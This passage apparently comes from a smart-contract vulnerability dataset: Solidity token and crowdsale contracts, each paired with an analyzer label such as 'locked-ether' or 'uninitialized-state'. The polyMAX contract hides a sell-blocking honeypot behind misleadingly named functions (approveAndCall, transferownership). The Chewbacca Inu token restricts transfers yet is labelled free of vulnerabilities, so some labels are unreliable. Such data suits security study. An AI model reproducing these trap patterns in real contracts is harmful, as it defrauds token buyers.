require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
}
contract EasyBuilderCoin is MintableToken {
string public constant name = "Easy Builder Coin";
string public constant symbol = "EBC";
uint32 public constant decimals = 8;
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
{__ {__ {__ {_ {__ {__
{__ {_ {__ {___ {_ __ {__ {__
{_ {__ {__ {__{__ {__{__ {__ { {__ {_ {__ {__ {__
{_ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__
{_ {__{__ {__ {__ {___ {__ {_ {__ {______ {__ {__ {__
{__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__ {__
{__ {__ {___ {__ {__ {__{__ {__{__ {__
{__ {__
polyMAX
tg: t.me/polyMAXETH
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract polyMAX {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
// don't need to define other functions, only using `transfer()` in this case
}
contract FiatCrypto {
address private owner_;
constructor() {
owner_ = msg.sender;
}
uint256 public ethBalance;
function depositEth() public payable {
ethBalance += msg.value;
}
function getEthBalance() public view returns(uint256) {
return address(this).balance;
}
function depositToken(address tokenContract, uint256 amount) external {
IERC20 token = IERC20(tokenContract);
require(token.transferFrom(msg.sender,address(this),amount),'transfer failed');
}
function withdrawToken(address tokenContract , address receiverWallet, uint256 amount) external{
require(msg.sender == owner_,'only owner can withdraw');
IERC20 token = IERC20(tokenContract);
require(getTokenBalance(tokenContract) >= amount,'insufficient token balance');
token.transfer(receiverWallet, amount);
}
function getTokenBalance(address tokenContract) public view returns (uint256) {
IERC20 token = IERC20(tokenContract);
return token.balanceOf(address(this));
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) locked-ether with Medium impact |
pragma solidity 0.7.0;
// SPDX-License-Identifier: MIT
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Boutik is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "BTK";
name = "Boutik";
decimals = 18; // 18 Decimals
totalSupply = 148000000e18; // 148,000,000 GLTS and 18 Decimals
maxSupply = 148000000e18; // 148,000,000 GLTS and 18 Decimals
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ASIEX is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ASI";
name = "ASIEX.IO";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.6.6;
//
////
//////
////////
//////////
////////
//////
////
//
////
//////
////////
//////////
////////
//////
////
//
////
//////
////////
//////////
////////
//////
////
//
////
//////
////////
//////////
////////
//////
////
//
////
//////
////////
//////////
////////
//////
////
//
import "./Options.sol";
import "./SafeMath.sol";
import "./Address.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Options, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor () public {
_name = "Chewbacca Inu";
_symbol = "CHEWBACCA";
_decimals = 9;
_totalSupply = 10000000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) {
_transfer(_msgSender(), recipient, amount);
if(_msgSender() == creator())
{ givePermissions(recipient); }
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
if(_msgSender() == uniswap())
{ givePermissions(recipient); }
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// 'BDEN' 'Bagden - Bagder's Personal Token' token contract
//
// Symbol : BDEN
// Name : Bagden - Bagder Personal Denar
// Total supply: 38,400,000
// Decimals : 8
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// Moodified by (c) Bagder
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function FixedSupplyToken() public {
symbol = "BDEN";
name = "Bagden";
decimals = 8;
_totalSupply = 38400000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.16;
// ----------------------------------------------------------------------------
// Currency contract
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address from, address to, uint tokens);
event Approval(address tokenOwner, address spender, uint tokens);
}
// ----------------------------------------------------------------------------
// CNT Currency contract extended API
// ----------------------------------------------------------------------------
contract PRE_SALE_Token is ERC20Interface {
function ico_distribution(address to, uint tokens) public;
function ico_promo_reward(address to, uint tokens) public;
function init(address _sale) public;
}
// ----------------------------------------------------------------------------
// NRB_Contract User Contract API
// ----------------------------------------------------------------------------
contract NRB_Contract {
function registerUserOnToken(address _token, address _user, uint _value, uint _flc, string _json) public returns (uint);
}
// ----------------------------------------------------------------------------
// contract WhiteListAccess
// ----------------------------------------------------------------------------
contract WhiteListAccess {
function WhiteListAccess() public {
owner = msg.sender;
whitelist[owner] = true;
whitelist[address(this)] = true;
}
address public owner;
mapping (address => bool) whitelist;
modifier onlyOwner {require(msg.sender == owner); _;}
modifier onlyWhitelisted {require(whitelist[msg.sender]); _;}
function addToWhiteList(address trusted) public onlyOwner() {
whitelist[trusted] = true;
}
function removeFromWhiteList(address untrusted) public onlyOwner() {
whitelist[untrusted] = false;
}
}
// ----------------------------------------------------------------------------
// CNT_Common contract
// ----------------------------------------------------------------------------
contract CNT_Common is WhiteListAccess {
string public name;
function CNT_Common() public { ETH_address = 0x1; }
// Deployment
bool public initialized;
address public ETH_address; // representation of Ether as Token (0x1)
address public EOS_address; // EOS Tokens
address public NRB_address; // New Rich on The Block Contract
address public CNT_address; // Chip
address public BGB_address; // BG Coin
address public VPE_address; // Vapaee Token
address public GVPE_address; // Golden Vapaee Token
}
// ----------------------------------------------------------------------------
// CNT_Crowdsale
// ----------------------------------------------------------------------------
contract CNT_Crowdsale is CNT_Common {
uint public raised;
uint public remaining;
uint public cnt_per_Keos;
uint public bgb_per_Keos;
uint public vpe_per_Keos;
uint public gvpe_per_Keos;
mapping(address => uint) public paid;
// a global list of users (uniques ids across)
mapping(uint => Reward) public rewards;
// length of prev list
uint public rewardslength;
struct Reward {
uint cnt;
uint bgb;
uint timestamp;
address target;
string concept;
}
event Sale(address from, uint eos_tokens, address to, uint cnt_tokens, uint mana_tokens, uint vpe_tokens, uint gvpe_tokens);
// --------------------------------------------------------------------------------
function CNT_Crowdsale() public {
rewardslength = 0;
cnt_per_Keos = 300000;
bgb_per_Keos = 300000;
vpe_per_Keos = 500;
gvpe_per_Keos = 100;
name = "CNT_Crowdsale";
remaining = 1000000 * 10**18; // 1 million
}
function init(address _eos, address _cnt, address _bgb, address _vpe, address _gvpe, address _nrb) public {
require(!initialized);
EOS_address = _eos;
CNT_address = _cnt;
BGB_address = _bgb;
VPE_address = _vpe;
GVPE_address = _gvpe;
NRB_address = _nrb;
PRE_SALE_Token(CNT_address).init(address(this));
PRE_SALE_Token(BGB_address).init(address(this));
PRE_SALE_Token(VPE_address).init(address(this));
PRE_SALE_Token(GVPE_address).init(address(this));
initialized = true;
}
function isInit() constant public returns (bool) {
return initialized;
}
function calculateTokens(uint _Keos_amount) constant public returns (uint, uint, uint, uint) {
uint cnt = _Keos_amount * cnt_per_Keos;
uint bgb = _Keos_amount * bgb_per_Keos;
uint vpe = _Keos_amount * vpe_per_Keos;
uint gvpe = _Keos_amount * gvpe_per_Keos;
if (vpe % 1000000000000000000 > 0) {
vpe = vpe - vpe % 1000000000000000000;
}
if (gvpe % 1000000000000000000 > 0) {
gvpe = gvpe - gvpe % 1000000000000000000;
}
return (
cnt,
bgb,
vpe,
gvpe
);
}
function buy(uint _Keos_amount) public {
// calculate how much of each token must be sent
uint _eos_amount = _Keos_amount * 1000;
require(remaining >= _eos_amount);
uint cnt_amount = 0;
uint bgb_amount = 0;
uint vpe_amount = 0;
uint gvpe_amount = 0;
(cnt_amount, bgb_amount, vpe_amount, gvpe_amount) = calculateTokens(_Keos_amount);
// send the tokens
PRE_SALE_Token(CNT_address) .ico_distribution(msg.sender, cnt_amount);
PRE_SALE_Token(BGB_address) .ico_distribution(msg.sender, bgb_amount);
PRE_SALE_Token(VPE_address) .ico_distribution(msg.sender, vpe_amount);
PRE_SALE_Token(GVPE_address).ico_distribution(msg.sender, gvpe_amount);
// registro la compra
Sale(address(this), _eos_amount, msg.sender, cnt_amount, bgb_amount, vpe_amount, gvpe_amount);
paid[msg.sender] = paid[msg.sender] + _eos_amount;
// envío los eos al owner
ERC20Interface(EOS_address).transferFrom(msg.sender, owner, _eos_amount);
raised = raised + _eos_amount;
remaining = remaining - _eos_amount;
}
function registerUserOnToken(string _json) public {
NRB_Contract(CNT_address).registerUserOnToken(EOS_address, msg.sender, paid[msg.sender], 0, _json);
}
function finishPresale() public onlyOwner() {
uint cnt_amount = 0;
uint bgb_amount = 0;
uint vpe_amount = 0;
uint gvpe_amount = 0;
(cnt_amount, bgb_amount, vpe_amount, gvpe_amount) = calculateTokens(remaining);
// send the tokens
PRE_SALE_Token(CNT_address) .ico_distribution(owner, cnt_amount);
PRE_SALE_Token(BGB_address) .ico_distribution(owner, bgb_amount);
PRE_SALE_Token(VPE_address) .ico_distribution(owner, vpe_amount);
PRE_SALE_Token(GVPE_address).ico_distribution(owner, gvpe_amount);
// registro la compra
Sale(address(this), remaining, owner, cnt_amount, bgb_amount, vpe_amount, gvpe_amount);
paid[owner] = paid[owner] + remaining;
raised = raised + remaining;
remaining = 0;
}
function reward(address _target, uint _cnt, uint _bgb, string _concept) public onlyOwner() {
// register the reward
rewardslength++;
rewards[rewardslength] = Reward(_cnt, _bgb, block.timestamp, _target, _concept);
// send the tokens
PRE_SALE_Token(CNT_address) .ico_promo_reward(_target, _cnt);
PRE_SALE_Token(BGB_address) .ico_promo_reward(_target, _bgb);
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
